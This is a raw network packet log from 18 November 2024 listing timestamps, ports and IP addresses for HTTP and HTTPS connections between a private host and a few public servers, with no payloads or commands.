Nov 18, 2024 08:55:24.434828043 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.434835911 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.434849977 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.434859991 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.434864998 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.434880972 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.434884071 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.434896946 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.434911966 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.434926987 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.434946060 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.434952021 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.434952021 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.434952021 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.434959888 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.434973955 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.434979916 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.434988976 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435003996 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435009003 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435017109 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435030937 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435038090 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435045958 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435059071 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435062885 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435070992 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435072899 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435090065 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435101986 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435105085 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435116053 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435129881 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435134888 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435142994 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435157061 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435158014 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435173988 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435187101 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435188055 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435203075 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435216904 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435226917 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435230970 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435234070 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435245991 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435260057 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435261011 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435276031 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435291052 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435292959 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435303926 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435307026 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435331106 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435337067 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435348034 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435350895 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435362101 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435370922 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435378075 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.435389996 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435405016 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.435419083 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.490469933 CET	443	49722	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.490868092 CET	49722	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.490906000 CET	443	49722	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.491249084 CET	49722	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.491261005 CET	443	49722	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.493601084 CET	443	49723	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.494673967 CET	49723	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.494683981 CET	443	49723	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.498754025 CET	443	49725	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.499697924 CET	443	49724	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.501434088 CET	49723	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.501444101 CET	443	49723	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.503879070 CET	49725	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.503879070 CET	49725	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.503889084 CET	443	49725	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.503904104 CET	443	49725	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.504112959 CET	49724	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.504129887 CET	443	49724	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.504592896 CET	49724	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.504596949 CET	443	49724	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.504759073 CET	443	49726	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.505204916 CET	49726	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.505212069 CET	443	49726	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.505512953 CET	49726	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.505517960 CET	443	49726	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.619311094 CET	443	49722	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.619534016 CET	443	49722	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.619642019 CET	49722	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.624546051 CET	49722	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.624579906 CET	443	49722	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.624623060 CET	49722	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.624638081 CET	443	49722	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.630254030 CET	443	49725	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.630358934 CET	443	49725	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.630429983 CET	49725	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.630512953 CET	443	49724	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.630737066 CET	443	49724	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.630826950 CET	49724	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.632919073 CET	49725	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.632939100 CET	443	49725	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.632972956 CET	443	49726	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.632977009 CET	49725	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.632985115 CET	443	49725	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.633163929 CET	443	49726	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.633250952 CET	49726	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.638629913 CET	49724	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.638629913 CET	49724	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.638638973 CET	443	49724	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.638648033 CET	443	49724	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.638669014 CET	443	49723	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.638736963 CET	443	49723	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.638781071 CET	49723	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.640140057 CET	49726	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.640144110 CET	443	49726	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.640196085 CET	49726	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.640199900 CET	443	49726	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.660464048 CET	49723	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.660475969 CET	443	49723	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.660511017 CET	49723	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.660516977 CET	443	49723	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.705624104 CET	49727	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.705674887 CET	443	49727	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.706226110 CET	49727	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.778851032 CET	49728	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.778873920 CET	443	49728	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.778987885 CET	49728	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.874221087 CET	49729	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.874248028 CET	443	49729	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.874351978 CET	49729	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.876599073 CET	49731	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.876610994 CET	443	49731	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.876648903 CET	49730	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.876684904 CET	443	49730	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.876962900 CET	49731	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.876966953 CET	49730	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.877371073 CET	49730	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.877371073 CET	49727	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.877398014 CET	443	49730	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.877418995 CET	443	49727	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.878251076 CET	49728	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.878262043 CET	443	49728	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.878300905 CET	49729	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.878313065 CET	443	49729	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:24.878392935 CET	49731	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:24.878405094 CET	443	49731	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.609359026 CET	443	49730	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.610044003 CET	49730	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.610066891 CET	443	49730	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.610601902 CET	49730	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.610609055 CET	443	49730	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.611818075 CET	443	49727	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.612538099 CET	49727	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.612546921 CET	443	49727	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.612620115 CET	443	49731	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.612787962 CET	49727	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.612792969 CET	443	49727	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.613078117 CET	49731	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.613091946 CET	443	49731	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.613559008 CET	49731	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.613564968 CET	443	49731	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.619265079 CET	443	49729	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.621314049 CET	443	49728	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.624906063 CET	49729	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.624921083 CET	443	49729	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.625293970 CET	49729	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.625298023 CET	443	49729	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.631339073 CET	49728	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.631339073 CET	49728	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.631354094 CET	443	49728	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.631370068 CET	443	49728	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.748521090 CET	443	49730	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.748589039 CET	443	49730	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.748811960 CET	49730	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.749366045 CET	443	49727	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.749394894 CET	443	49731	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.749444008 CET	443	49731	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.749444008 CET	443	49727	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.749500990 CET	49731	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.750283957 CET	49727	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.756678104 CET	443	49729	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.756766081 CET	443	49729	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.756807089 CET	49729	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.761219025 CET	443	49728	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.761287928 CET	443	49728	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.761425018 CET	49728	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.887221098 CET	49730	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.887221098 CET	49730	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.887250900 CET	443	49730	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.887262106 CET	443	49730	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.887972116 CET	49728	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.887972116 CET	49728	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.887994051 CET	443	49728	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.888005972 CET	443	49728	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.890125036 CET	49727	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.890125036 CET	49727	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.890136957 CET	443	49727	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.890146971 CET	443	49727	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.890216112 CET	49731	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.890238047 CET	443	49731	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.890249968 CET	49731	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.890264034 CET	443	49731	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.891765118 CET	49729	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.891771078 CET	443	49729	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:25.891808987 CET	49729	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:25.891812086 CET	443	49729	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.093568087 CET	49732	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.093595982 CET	443	49732	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.093660116 CET	49732	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.158754110 CET	49732	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.158772945 CET	443	49732	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.159303904 CET	49733	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.159348965 CET	443	49733	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.159522057 CET	49733	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.159687996 CET	49733	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.159701109 CET	443	49733	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.175352097 CET	49734	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.175374985 CET	443	49734	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.175484896 CET	49734	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.175625086 CET	49734	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.175637960 CET	443	49734	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.212213039 CET	49735	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.212275982 CET	443	49735	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.212352037 CET	49735	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.255966902 CET	49736	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.256015062 CET	443	49736	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.256083012 CET	49736	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.264884949 CET	49735	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.264909983 CET	443	49735	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.314608097 CET	49736	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.314644098 CET	443	49736	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.394721031 CET	49740	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:26.394738913 CET	443	49740	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:26.394995928 CET	49740	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:26.395181894 CET	49740	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:26.395195007 CET	443	49740	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:26.555725098 CET	49741	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:26.555742979 CET	443	49741	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:26.555809021 CET	49741	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:26.556124926 CET	49741	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:26.556138992 CET	443	49741	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:26.596813917 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:26.596837997 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:26.596903086 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:26.597184896 CET	49742	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:26.597198009 CET	443	49742	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:26.723521948 CET	49743	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:26.723558903 CET	443	49743	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:26.723618984 CET	49743	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:26.723882914 CET	49743	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:26.723898888 CET	443	49743	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:26.896706104 CET	443	49733	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.897412062 CET	49733	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.897432089 CET	443	49733	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.897993088 CET	49733	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.897999048 CET	443	49733	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.903196096 CET	443	49732	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.909365892 CET	49732	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.909389019 CET	443	49732	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.909992933 CET	49732	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.910000086 CET	443	49732	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.921786070 CET	443	49734	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.923280954 CET	49734	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.923297882 CET	443	49734	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:26.924529076 CET	49734	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:26.924549103 CET	443	49734	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.007910013 CET	443	49735	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.009398937 CET	49735	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.009438992 CET	443	49735	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.010035992 CET	49735	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.010042906 CET	443	49735	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.029350042 CET	443	49733	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.029443979 CET	443	49733	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.029505014 CET	49733	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.029742002 CET	49733	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.029756069 CET	443	49733	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.029774904 CET	49733	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.029783964 CET	443	49733	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.033368111 CET	49746	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.033395052 CET	443	49746	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.033449888 CET	49746	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.033871889 CET	49746	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.033889055 CET	443	49746	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.035933971 CET	443	49732	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.036058903 CET	443	49732	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.036120892 CET	49732	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.036251068 CET	49732	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.036251068 CET	49732	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.036268950 CET	443	49732	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.036287069 CET	443	49732	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.040364981 CET	49747	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.040460110 CET	443	49747	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.040538073 CET	49747	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.040747881 CET	49747	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.040782928 CET	443	49747	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.052089930 CET	443	49736	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.052604914 CET	49736	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.052649975 CET	443	49736	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.053097010 CET	49736	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.053111076 CET	443	49736	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.054075956 CET	443	49734	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.054378986 CET	443	49734	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.054501057 CET	49734	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.054605961 CET	49734	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.054605961 CET	49734	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.054630041 CET	443	49734	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.054641008 CET	443	49734	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.058166027 CET	49748	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.058187962 CET	443	49748	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.058255911 CET	49748	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.058468103 CET	49748	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.058484077 CET	443	49748	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.139837027 CET	443	49735	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.140027046 CET	443	49735	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.140207052 CET	49735	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.140333891 CET	49735	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.140351057 CET	443	49735	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.140361071 CET	49735	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.140366077 CET	443	49735	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.144434929 CET	49749	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.144457102 CET	443	49749	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.144510031 CET	49749	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.146418095 CET	49749	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.146434069 CET	443	49749	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.183191061 CET	443	49736	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.183398008 CET	443	49736	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.183470011 CET	49736	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.183583975 CET	49736	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.183583975 CET	49736	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.183623075 CET	443	49736	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.183646917 CET	443	49736	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.186770916 CET	49750	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.186803102 CET	443	49750	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.186930895 CET	49750	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.187134027 CET	49750	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:27.187146902 CET	443	49750	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:27.247701883 CET	443	49740	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:27.248217106 CET	49740	443	192.168.2.7	142.250.184.196
